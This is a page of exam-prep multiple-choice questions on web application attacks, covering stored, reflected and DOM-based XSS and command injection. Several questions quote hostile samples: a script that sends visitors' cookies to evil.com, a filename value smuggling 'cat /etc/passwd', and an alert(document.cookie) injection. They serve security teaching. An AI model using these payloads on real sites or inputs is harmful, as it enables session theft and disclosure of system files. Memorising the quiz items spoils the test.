2.6 Describe Web Application Attacks, Such as SQL Injection, Command Injections, and Cross-Site Scripting 200-201 Practice Questions (Page 2)

Questions 6–10

1. 6application · medium

   A user reports that when they visit a forum page, their browser suddenly displays a pop-up with the text 'You are hacked!' and then redirects to a malicious site. The forum allows users to post messages that are stored and shown to all visitors. Which type of web application attack is most likely occurring?

   • AReflected cross-site scripting (XSS)
   • BCommand injection
   • CStored cross-site scripting (XSS)
   • DSQL injection
   Reveal Solution Discussion Select an answer first
2. 7application · medium

   A security analyst is examining a web application that allows users to post comments. The application stores comments in a database and displays them to other users. An attacker posts a comment containing `<script>document.location='https://evil.com?cookie='+document.cookie</script>`. When other users view the comment, their browser redirects to the attacker's site. Which of the following is the most effective mitigation?

   • ADisable JavaScript in the browser for all users.
   • BSanitize and encode user-generated content before rendering it in the browser.
   • CUse parameterized queries when storing the comment in the database.
   • DUse a web application firewall to block requests containing `<script>`.
   Reveal Solution Discussion Select an answer first
4. 8foundation · easy

   A web application accepts a filename and passes it to a system shell command without sanitization. An attacker submits `file.txt; cat /etc/passwd`. What is the primary effect of this attack?

   • AThe application stores the input in a database and later displays it to other users.
   • BThe application executes the `cat /etc/passwd` command on the underlying operating system.
   • CThe application crashes because the semicolon is an invalid character in filenames.
   • DThe application returns the contents of `file.txt` and displays them in the browser.
   Reveal Solution Discussion Select an answer first
5. 9application · medium

   A security analyst is reviewing a web application that uses JavaScript to update the page content based on the `document.location.hash` value. The application does not send the hash value to the server. An attacker crafts a URL that causes the JavaScript to execute an alert box in the victim's browser. Which type of XSS is this?

   • ADOM-based XSS
   • BCommand injection
   • CReflected XSS
   • DStored XSS
   Reveal Solution Discussion Select an answer first
6. 10application · medium

   A user reports that when they visit a company's product review page, their browser displays a pop-up that reads 'Your session has expired'. The pop-up appears only when the user is logged in. The security team finds that a review comment contains `<script>alert(document.cookie)</script>` and that the comment is stored in the database and rendered on the page for all visitors. Which type of attack is this, and what is the primary risk?

   • AReflected XSS; the attacker can steal the session cookie of the user who submitted the comment.
   • BStored XSS; the attacker can steal the session cookies of any user who views the page.
   • CSQL injection; the attacker can modify the database to inject malicious code.
   • DDOM-based XSS; the attacker can modify the page's DOM to execute arbitrary JavaScript.
   Reveal Solution Discussion Select an answer first